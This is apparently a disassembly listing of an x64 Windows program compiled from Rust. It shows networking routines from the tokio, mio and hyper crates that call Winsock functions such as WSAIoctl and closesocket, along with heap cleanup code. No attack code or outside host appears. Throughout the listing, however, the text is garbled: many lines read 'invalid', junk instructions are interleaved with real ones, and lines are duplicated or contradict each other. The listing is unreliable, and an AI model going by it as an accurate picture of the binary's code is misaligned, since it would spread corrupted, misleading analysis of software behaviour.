call qword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
movzx eax, byte [0x14017d2b0]
mov dh, 5
sub dword [rsi + 0xc], ecx
add byte [rdx + 0x19], bh
invalid
outsb dx, byte [rsi]
add eax, 0xfc38900
add byte [rcx + 0x5b60fc3], cl
mov dh, 5
sub dword [rsi + 0xc], ecx
add byte [rdx + 0x19], bh
invalid
add byte [rcx], dh
leave
xor ecx, ecx
call fcn.1400e0010
add al, byte [rax]
test rax, rax
je 0x1400b8699
test ch, bh
add dword [rax], eax
invalid
test ch, bh
add dword [rax], eax
add byte [rcx - 0x77], cl
invalid
mov r15, rax
movups xmm0, xmmword [0x140128f09]
add eax, 0x70a63
add byte [rdi], cl
adc dword [rax + 9], eax
movups xmmword [rax + 9], xmm0
movups xmm0, xmmword [str.tcp_set_nonblocking_errortcp_bind_local_error]
invalid
movups xmmword [rax], xmm0
movzx eax, byte [0x14017d2b0]
cmc
or al, 0
or al, 0
cmc
or al, 0
or al, 0
or al, 0
mov edx, 8
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400b85ff
mov r12, rax
mov esp, eax
shl rbx, 0x20
or rbx, 2
retf
add cl, byte [rax - 0x77]
sbb byte [rdi + 0x19], bh
add byte [rax], al
retf
add byte [rax], al
jmp 0x1400b853c
movzx eax, byte [0x14017d2b0]
mov edx, 0x14
add byte [rdx + 0x14], bh
xor ecx, ecx
call fcn.1400e0010
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
cmpsd dword [rsi], dword [rdi]
add dword [rax], eax
invalid
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
cmpsd dword [rsi], dword [rdi]
add dword [rax], eax
add byte [rcx - 0x77], cl
invalid
mov r15, rax
movups xmm0, xmmword [0x140128f19]
invalid
or al, byte [rdi]
invalid
invalid
movups xmmword [rax], xmm0
mov dword [rax + 0x10], 0x726f7272
movzx eax, byte [0x14017d2b0]
add eax, 0xc4d94
add eax, 0xc4d94
add byte [rdx + 8], bh
mov edx, 8
xor ecx, ecx
call fcn.1400e0010
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
invalid
add byte [rax], al
invalid
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
invalid
mov r12, rax
mov qword [rax], r13
mov edi, 0x14
invalid
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
call qword [sym.imp.ws2_32.dll_closesocket]
sti
outsd dx, dword [rsi]
add eax, 0x7e894c00
mov qword [rsi + 0x78], r15
invalid
mov qword [rsi + 0x78], r15
jle 0x1400b85c1
mov qword [rsi + 0x80], rdi
mov dword [rsi + 0x80], edi
mov qword [rsi + 0x88], r12
add byte [rax], al
lea rbx, [0x1401273e0]
mov qword [rsi + 0x90], rbx
nop
add byte [rax], al
add bh, al
jo 0x1400b856a
retf 0x3b9a
mov ebp, 2
out dx, al
invalid
nop
add byte [rax], al
add bh, al
jo 0x1400b856a
retf 0x3b9a
invalid
mov r8, qword [rsi + 0x20]
test r8, r8
je 0x1400b85c8
cmp qword [rsi + 0x28], 0
je 0x1400b8590
or al, 0
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add byte [rbx + rcx*4 + 0x76], cl
invalid
add byte [rbx + rcx*4 + 0x76], cl
xor byte [rbp - 0x7b], cl
div byte [rdi + rbp + 0x4c]
mov r13, qword [rsi + 0x38]
jbe 0x1400b85c4
test r14, r14
je 0x1400b85c8
mov r13, qword [rsi + 0x38]
mov rcx, r14
int1
call qword [r13]
cmp qword [r13 + 8], 0
je 0x1400b85c8
cmp qword [r13 + 0x10], 0x11
jb 0x1400b85b6
jge case.0x1400930de.196
adc dword [rdx + 4], esi
mov r14, qword [r14 - 8]
mov rcx, qword [0x14017d208]
mov ecx, dword [0x14017d208]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
invalid
cmp byte [rsi + 5], ch
add byte [rax - 0x75], cl
test byte [rax + rdx], ah
and al, 0x10
mov rax, qword [rsp + 0x110]
mov eax, dword [rsp + 0x110]
and al, 0x10
add dword [rax], eax
add byte [rax - 0x77], cl
sub byte [rcx + rcx*4 + 0x78], cl
or byte [rax - 0x77], cl
mov qword [rax + 0x10], rdi
mov qword [rax], rbp
mov qword [rax + 8], r15
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
invalid
mov qword [rax + 0x20], rbx
mov al, 1
mov byte [rsi + 0x378], al
add rsp, 0x2c8
add al, byte [rax]
add byte [rbx + 0x5d], bl
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 8
mov edx, 8
add byte [rax], al
or byte [rax], al
add byte [rax], al
call fcn.140104380
mov ecx, 1
mov edx, 0x11
call fcn.140104360
add al, 0
add al, 0
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x1401466c8]
mov edx, 0x28
add al, ch
sub eax, esp
add al, 0
loopne 0x1400b862b
add al, ch
sub eax, esp
add al, 0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
call fcn.140104c30
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x140], rax
and al, 0x40
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rcx*2], ah
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xb7105
and al, 0x40
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rcx*2], ah
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xb7105
add eax, 0x48000b71
mov dword [rsp + 0x150], eax
push rax
add dword [rax], eax
invalid
mov qword [rsp + 0x150], rax
push rax
add dword [rax], eax
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
invalid
test byte [rax + rbx*2], ah
xorps xmm0, xmm0
movups xmmword [rsp + 0x158], xmm0
adc dword [rsp + 0x158], eax
adc dword [rsp + 0x158], eax
add dword [rax], eax
add byte [rax - 0x73], cl
adc eax, 0x8ce3b
or byte [rax], al
lea rdx, str._rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrarycore_src_time.rspT
or byte [rax], al
lea rcx, [rsp + 0x140]
call fcn.140104620
mov edi, 0x1b90004
add byte [rax], al
add byte [rdx + 0xe], bh
mov ecx, 1
mov edx, 0xe
call fcn.140104360
add al, 0
mov ecx, 1
mov edx, 0x19
call fcn.140104360
mov ecx, 1
add byte [rax], al
mov edx, 0x14
call fcn.140104360
ud2
int3
int3
and eax, dword [rbx + 0x457504f8]
clc
add al, 0x75
movzx r8d, byte [r9 + 0x110]
invalid
movzx eax, byte [rcx + 0x110]
add byte [rbx + 0x437403f8], al
cmp eax, 3
je 0x1400b8724
test eax, eax
jne 0x1400b871a
mov rcx, qword [rcx + 0xb8]
jmp qword [sym.imp.ws2_32.dll_closesocket]
jmp qword [sym.imp.ws2_32.dll_closesocket]
jmp qword [sym.imp.ws2_32.dll_closesocket]
outsb dx, byte [rsi]
add eax, 0xc1814800
cwde
add byte [rax], al
add cl, ch
xor dword [rsi], eax
add byte [rax], al
movzx eax, byte [rcx + 0x88]
cmp eax, 3
je 0x1400b871b
or dword [rax - 0x7d000000], 0x107403f8
add byte [rax], al
add byte [rbx + 0x107403f8], al
test eax, eax
jne 0x1400b871a
mov rcx, qword [rcx + 0x30]
jmp qword [sym.imp.ws2_32.dll_closesocket]
and eax, 0x56e26
and eax, 0x56e26
outsb dx, byte [rsi]
add eax, 0x8348c300
rol dword [rax - 0x17], 0x7c
add eax, 0x81480000
add byte [rax - 0x7f], cl
ret
add byte [rax - 0x7f], cl
add rcx, 0xc8
ror eax, 0
add byte [rax], al
jmp fcn.1400b8ca0
add byte [rsi + 0x57], dl
push rdi
push rbx
sub rsp, 0x20
movzx eax, byte [rcx + 0x9f0]
cmp rax, 6
ja case.0x1400b8759.1
xchg dword [rbx], ebp
add eax, dword [rax]
invalid
xchg dword [rbx], ebp
add eax, dword [rax]
add byte [rax - 0x77], cl
invalid
mov rsi, rcx
lea rcx, [0x140174bf8]
invalid
or eax, dword [rax]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
invalid
invalid
jmp rax
je 0x1400b877b
mov r8, qword [rsi + 0xa0]
mov rcx, qword [0x14017d208]
mov ecx, dword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test dword [rbp + rax], ebp
test dword [rbp + rax], ebp
cmp dword [rsi], 2
je case.0x1400b8759.1
mov rcx, rsi
call fcn.1400ece20
add r8d, dword [rax]
add r8d, dword [rax]
add byte [rax - 0x73], cl
or byte [rax - 0x7d], r9b
add byte ds:[rdi], cl
add byte [rdi], cl
lea rcx, [rsi + 8]
cmp qword [rsi], 0
add byte [rdi], cl
invalid
lodsb al, byte [rsi]
add al, byte [rax]
invalid
add byte [rdi], cl
test byte [rdx + rax - 0x74b80000], ch
add eax, esi
lock dec qword [rax]
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400b8a54
lodsd eax, dword [rsi]
add al, byte [rax]
add al, ch
invalid
movsb byte [rdi], byte [rsi]
invalid
call fcn.140068e50
jmp 0x1400b8a54
add byte [rax], al
add byte [rax - 0x7d], cl
mov esi, 0xa08
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rsi + 0xa00]
add byte [rdx], cl
add byte [rax], al
add byte [rdx], cl
add byte [rax], al
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsi + 0xa10]
mov edi, dword [rsi + 0xa10]
mov edi, dword [rsi + 0xa10]
add byte [rax], al
test rdi, rdi
je 0x1400b88b8
mov rbx, qword [rsi + 0xa18]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
cmp dword [rbx + 8], 0
cmp dword [rbx + 8], 0
je 0x1400b88b8
add byte [rax], al
cmp qword [rbx + 0x10], 0x11
jb 0x1400b8810
mov rdi, qword [rdi - 8]
clc
mov rcx, qword [0x14017d208]
int1
or al, 0
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400b88b8
xchg ecx, eax
add byte [rax], al
invalid
xchg ecx, eax
add byte [rax], al
add byte [rax + 0xd70be], al
cmp byte [rsi + 0xd70], 3
jne 0x1400b8a1c
invalid
lea rcx, [rsi + 0xbe8]
call fcn.1400b86c0
dec dword [rbx + rcx*4 - 0x7a]
sbb byte [rdx], cl
add byte [rax], al
dec dword [rbx + rcx*4 - 0x7a]
sbb byte [rdx], cl
add byte [rax], al
test r8, r8
je 0x1400b8a1c
cmp qword [rsi + 0xa20], 0
je 0x1400b8869
and byte [rdx], cl
add byte [rax], al
add byte [rdi + rcx + 0x48], dh
mov ecx, dword [0x14017d208]
or al, 0
or al, 0
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add eax, 0xbe8b4800
sub byte [rdx], cl
add byte [rax], al
add eax, 0xbe8b4800
sub byte [rdx], cl
add byte [rax], al
test rdi, rdi
je 0x1400b8a1c
mov rbx, qword [rsi + 0xa30]
sahf
xor byte [rdx], cl
add byte [rax], al
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400b8a1c
cmp qword [rbx + 0x10], 0x11
jb 0x1400b889b
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
jmp 0x1400b8a16
invalid
add byte [rax - 0x73], cl
invalid
mov byte [rsi + 0x9f1], 0
lea rcx, [rsi + 0x950]
call fcn.1400ece20
lea rcx, [rsi + 0x958]
cmp qword [rsi + 0x950], 0
je 0x1400b88ec
jne 0x1400b88fa
sal byte [rdx + rcx + 0x48], 0x8b
mov fs, word [rax - 0xfffff7]
push rax
sbb byte [rax + 0x948be], al
add byte [rbx], al
jne 0x1400b8986
lea rcx, [rsi + 0x7c0]
call fcn.1400b86c0
mov r8, qword [rsi + 0x5f0]
test r8, r8
je 0x1400b8986
cmp qword [rsi + 0x5f8], 0
je 0x1400b894a
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsi + 0x600]
test rdi, rdi
je 0x1400b8986
mov rbx, qword [rsi + 0x608]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400b8986
cmp qword [rbx + 0x10], 0x11
jb 0x1400b8974
invalid
add al, 0x48
mov edi, dword [rdi - 8]
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
clc
clc
call qword [sym.imp.kernel32.dll_HeapFree]
cmp byte [rsi + 0x5c8], 3
jne 0x1400b89fc
lea rcx, [rsi + 0x440]
call fcn.1400b86c0
mov r8, qword [rsi + 0x270]
add al, 0
add al, ch
and eax, 0x4cfffffd
mov eax, dword [rsi + 0x270]
test r8, r8
je 0x1400b89fc
cmp qword [rsi + 0x278], 0
je 0x1400b89c0
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsi + 0x280]
test rdi, rdi
je 0x1400b89fc
add byte [rdx], 0
add byte [rax - 0x7b], cl
push qword [rax + rsi + 0x48]
mov ebx, dword [rsi + 0x288]
mov rbx, qword [rsi + 0x288]
mov rcx, rdi
call qword [rbx]
adc ecx, dword [rax - 0x7d]
jnp 0x1400b89e4
invalid
je 0x1400b89fc
adc ecx, dword [rax - 0x7d]
jnp 0x1400b89e4
add byte [rbp + rbx + 0x48], dh
cmp dword [rbx + 0x10], 0x11
cmp qword [rbx + 0x10], 0x11
jb 0x1400b89ea
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsi + 0x230], 0
je 0x1400b8a1c
mov r8, qword [rsi + 0x220]
mov eax, dword [rsi + 0x220]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add byte [rax + 0x178], bh
mov eax, 0x178
cmp qword [rsi + 0x188], 0
je case.0x1400b8759.1
mov r8, qword [rsi + rax]
mov rcx, qword [0x14017d208]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rcx]
lock dec qword [rax]
dec dword [rax]
dec dword [rax]
jne 0x1400b8a54
call fcn.140069ba0
mov rax, qword [rsi + 0x48]
test rax, rax
je 0x1400b8a64
mov rcx, qword [rsi + 0x50]
push rax
call qword [rax + 0x18]
mov eax, 0x70
cmp qword [rsi + 0x80], 0
jne 0x1400b8a2b
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
mov r14, qword [rsp + 0x58]
mov r12, qword [rsp + 0x50]
lock dec qword [r13]
jne 0x1400b9372
mov rcx, r13
call fcn.140004950
mov r13, qword [rsp + 0x68]
lea rcx, [rsp + 0x128]
cmp qword [rsp + 0x120], 0
jne 0x1400b9180
xor r12d, r12d
movzx eax, byte [rbp + 0x21]
test al, al
jne 0x1400b9957
mov qword [rsp + 0x190], rbx
mov byte [rsp + 0x198], r12b
lea rdx, [rbp + 0x28]
mov rax, qword [rbp + 0x38]
test rax, rax
mov qword [rsp + 0x60], rbp
je 0x1400b9504
mov rcx, qword [rbp + 0x30]
mov rax, qword [rcx + rax*8 - 8]
mov rax, qword [rax]
cmp rax, 0x21
jb 0x1400b9559
mov rax, qword [rsp + 0x70]
mov rax, qword [rax]
mov rcx, qword [rax + 0x10]
call fcn.1400482b0
mov rbp, rax
test rax, rax
je 0x1400b9559
test r12b, r12b
jne 0x1400b9535
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x1400b9a97
xor eax, eax
xchg byte [rbx], al
cmp al, 2
mov r14, qword [rsp + 0x58]
mov r12, qword [rsp + 0x50]
jne 0x1400b9363
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
jmp 0x1400b9363
mov rbp, qword [rsp + 0x60]
mov rax, qword [rbp + 0x38]
test rax, rax
je 0x1400b9b76
mov rcx, qword [rbp + 0x30]
mov rax, qword [rcx + rax*8 - 8]
mov qword [rsp + 0x160], rax
lock inc qword [rax]
jle 0x1400b9ab2
test r12b, r12b
jne 0x1400b959e
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x1400b9a81
xor eax, eax
xchg byte [rbx], al
cmp al, 2
mov r12, qword [rsp + 0x50]
jne 0x1400b95b4
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x130], 0
xorps xmm6, xmm6
movups xmmword [rsp + 0x38], xmm6
lea rbx, [rsp + 0x130]
mov qword [rsp + 0x30], rbx
lea rbp, [rsp + 0x78]
mov qword [rsp + 0x20], rbp
mov dword [rsp + 0x28], 8
mov rcx, r12
mov edx, 0x48000022
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
je 0x1400b984f
mov r12, qword [rsp + 0x78]
movzx eax, byte [0x14017d2b0]
mov edx, 0x78
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400b9c84
mov rbx, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov rcx, rax
add rcx, 0x10
mov word [rax + 0x10], 0
mov dword [rax + 0x18], 0
mov rax, qword [rsp + 0x160]
mov qword [rbx + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rbx + 0x28], xmm0
movups xmmword [rbx + 0x38], xmm0
movups xmmword [rbx + 0x48], xmm0
mov qword [rbx + 0x58], r12
movups xmmword [rbx + 0x60], xmm0
mov word [rbx + 0x70], 0
mov dl, 1
xor eax, eax
lock cmpxchg byte [rbx + 0x10], dl
jne 0x1400b9a26
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov rcx, rbp
mov ebp, eax
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x130], 0
movups xmmword [rsp + 0x38], xmm6
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x28], 8
mov rcx, r12
mov edx, 0x4800001c
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
je 0x1400b98b1
mov rax, r12
mov r12, qword [rsp + 0x78]
cmp r12, rax
jne 0x1400b9611
jmp 0x1400b98b7
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x130], 0
xorps xmm0, xmm0
push rdi
ror byte [rdi], 0x11
and al, 0x38
push rdi
ror byte [rdi], 0x11
and al, 0x38
mov qword [rsp + 0x30], rbx
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
mov dword [rsp + 0x28], 8
mov rbx, qword [rsp + 0x50]
mov rcx, rbx
mov edx, 0x4800001d
add byte [rax], al
xor r8d, r8d
add byte [rax], al
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
dec dword [rdi]
invalid
invalid
add byte [rax], al
invalid
dec dword [rdi]
test byte [rcx + 0x4c000000], al
mov esp, dword [rsp + 0x78]
mov r12, qword [rsp + 0x78]
cmp r12, rbx
lea rax, [rsp + 0x130]
add dword [rax], eax
add byte [rdi], cl
test edi, ebp
cld
invalid
invalid
add dword [rax], eax
add byte [rdi], cl
test edi, ebp
cld
invalid
jmp 0x1400b999b
mov eax, dword [0x14017d2a8]
shl rax, 1
test rax, rax
je 0x1400b94c1
call fcn.14010c880
mov r12d, eax
xor r12b, 1
movzx eax, byte [rbp + 0x21]
test al, al
je 0x1400b94d0
sti
invalid
invalid
sti
invalid
mov qword [rsp + 0x78], rbx
mov byte [rsp + 0x80], r12b
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.8.11_src_syswindows_selector.rs
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x20], eax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401380f0]
lea r8, [rsp + 0x78]
mov edx, 0x2b
call fcn.1401049b0
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
lea rax, [rsp + 0x130]
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x130], 0
test byte [rax + rsi], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
and al, 0x38
test byte [rax + rsi], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
and al, 0x38
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 8
mov rbx, qword [rsp + 0x50]
mov rcx, rbx
mov ecx, ebx
mov ecx, ebx
mov edx, 0x4800001b
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
je 0x1400b99fc
mov r12, qword [rsp + 0x78]
mov esp, dword [rsp + 0x78]
cmp r12, rbx
jne 0x1400b9611
jmp 0x1400b9a02
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rbp, 0x20
or rbp, 2
mov rcx, qword [rsp + 0x160]
and al, 0x60
add dword [rax], eax
add al, dh
dec qword [rcx]
and al, 0x60
add dword [rax], eax
add al, dh
dec qword [rcx]
jne 0x1400b9359
call fcn.140004620
jmp 0x1400b9359
push rbp
cld
invalid
call fcn.14010c880
test al, al
jne 0x1400b959e
mov byte [rbp + 0x21], 1
jmp 0x1400b959e
sti
invalid
invalid
sti
invalid
call fcn.14010c880
test al, al
jne 0x1400b9535
mov rax, qword [rsp + 0x60]
mov byte [rax + 0x21], 1
invalid
jmp 0x1400b9535
ud2
nop
scasb al, byte [rdi]
add al, 0
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
or al, 0xca
mov qword [rcx + 0xd0], rax
xor eax, eax
mov byte [rsp + 0x78], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_net_tcp_stream.rs
lea rcx, [rsp + 0x78]
call fcn.140109d90
lea rcx, str.A_Tokio_1.x_context_was_found__but_IO_is_disabled._Call__enable_io__on_the_runtime_builder_to_enable_IO.A_Tokio_1.x_context_was_found__but_timers_are_disabled._Call__enable_time__on_the_runtime_builder_to_enable_timers.Oh_no__We_never_placed_the_Core_back__this_is_a_bug_
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_net_tcp_stream.rs
mov edx, 0x68
call fcn.140104a60
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_net_tcp_socket.rs
call fcn.140104c30
mov al, 1
mov byte [rsp + 0x78], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_net_tcp_stream.rs
lea edx, [0x140148f70]
lea edx, [0x140148f70]
lea rcx, [rsp + 0x78]
call fcn.140109d90
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_net_tcp_stream.rs
call fcn.140104c30
clc
mov al, 4
invalid
clc
mov al, 4
add byte [rcx + 0x80], bh
mov ecx, 0x80
mov edx, 0x100
call fcn.140104380
mov qword [rsp + 0x78], 0
lea rcx, [rbx + r12]
add rcx, 0x40
lea rdx, [rsp + 0x130]
lea r8, [rsp + 0x78]
call fcn.14010df70
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srciopoll_evented.rs
call fcn.140104a40
lea rax, [rsp + 0x70]
mov qword [rsp + 0x1e0], rax
mov dword [rsp + 0x1e0], eax
mov dword [rsp + 0x1e0], eax
lea rax, [0x140048510]
mov qword [rsp + 0x1e8], rax
lea rax, [rsp + 0x190]
mov qword [rsp + 0x1f0], rax
test byte [rax + rsi*8], ah
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0xfff8ea57
test byte [rax + rbp*8], ah
add dword [rax], eax
add byte [rax - 0x73], cl
test byte [rax + rdx*4], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rsi*8], ah
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0xfff8ea57
mov qword [rsp + 0x1f8], rax
mov qword [rsp + 0x78], 2
mov qword [rsp + 0x88], 2
mov qword [rsp + 0x98], 0
movabs rax, 0x400000020
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x48], cl
and byte [rax], al
add byte [rax], al
add al, 0
add byte [rax], al
mov qword [rsp + 0xa0], rax
mov byte [rsp + 0xa8], 3
mov qword [rsp + 0xb0], 2
mov qword [rsp + 0xc0], 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0xd0], 1
mov qword [rsp + 0xd8], rax
mov byte [rsp + 0xe0], 3
lea rax, str.internal_error:_entered_unreachable_code:_Cannot_acquire_afd____afd_group:
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], 2
mov dword [rsp + 0x138], 2
mov dword [rsp + 0x138], 2
add byte [rax], al
lea rax, [rsp + 0x78]
lea eax, [rsp + 0x78]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 2
mov dword [rsp + 0x158], 2
mov dword [rsp + 0x158], 2
add al, byte [rax]
add byte [rax], al
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x140], rax
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rcx*2], ah
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x7e9d1
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rcx*2], ah
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x7e9d1
lea rcx, [rsp + 0x130]
call fcn.140104620
mov ecx, 8
mov edx, 0x78
call fcn.140104380
mov r12, rcx
xor eax, eax
mov qword [rsp + 0x78], r12
mov dword [rsp + 0x78], esp
mov byte [rsp + 0x80], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.8.11_src_syswindows_selector.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140138110]
lea r8, [rsp + 0x78]
and al, 0x78
and al, 0x78
mov edx, 0x2b
call fcn.1401049b0
mov ecx, 8
mov edx, 0x20
call fcn.140104380
xor al, 1
jmp 0x1400b9c98
push rbp
sub rsp, 0x30
lea rbp, [rsp + 0x30]
mov qword [rbp - 8], 0xfffffffffffffffe
invalid
dec dword [rdi]
mov dh, 5
mov bh, 0x35
or al, 0
mov edx, 0x18
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je case.0x1400978a6.155
mov qword [rax], 1
lea rcx, [0x140139c08]
mov qword [rax + 8], rcx
mov dword [rax + 8], ecx
mov dword [rax + 8], ecx
mov byte [rax + 0x10], 0x16
inc rax
add rsp, 0x30
pop rbp
ret
mov ecx, 8
mov edx, 0x18
call fcn.140104380
ud2
add byte [rcx + 1], bh
mov ecx, 1
call fcn.1400dd830
nop
add rsp, 0x20
pop rbp
ret
int3
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
lea rdx, [0x14013e184]
mov r8d, 7
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], al
mov qword [rsp + 0x20], 0
and al, 0x20
add byte [rax], al
add byte [rax], al
and al, 0x20
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x31], 0
lea r8, [0x14013e190]
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x38]
call fcn.140016520
cmc
dec dword [rax - 0x75]
and al, 0x20
cmc
dec dword [rax - 0x75]
and al, 0x20
movzx edx, byte [rsp + 0x30]
mov dh, 0x54
and al, 0x30
test rcx, rcx
je 0x1400b9e29
mov al, 1
test dl, dl
jne 0x1400b9e2b
mov rsi, qword [rsp + 0x28]
mov esi, dword [rsp + 0x28]
je 0x1400b9dff
cmp rcx, 1
jne 0x1400b9e0f
cmp byte [rsp + 0x31], 0
je 0x1400b9e0f
test byte [rsi + 0x34], 4
jne 0x1400b9e0f
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
invalid
mov rax, qword [rsi + 0x28]
lea rdx, str._____
lea edx, str._____
lea edx, str._____
adc eax, 0x86df2
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
invalid
test cl, cl
jne 0x1400b9e2b
add dword [rcx + rcx*8 - 0x74b7e38b], eax
and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
lea edx, [0x14014a1c8]
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014a1c8]
lea edx, [0x14014a1c8]
lea edx, [0x14014a1c8]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x1400b9e2b
invalid
add cl, byte [rcx + 0xfc084d0]
xchg ebp, eax
mov eax, edx
test al, al
setne al
add rsp, 0x40
pop rsi
ror byte [rdi], 0x95
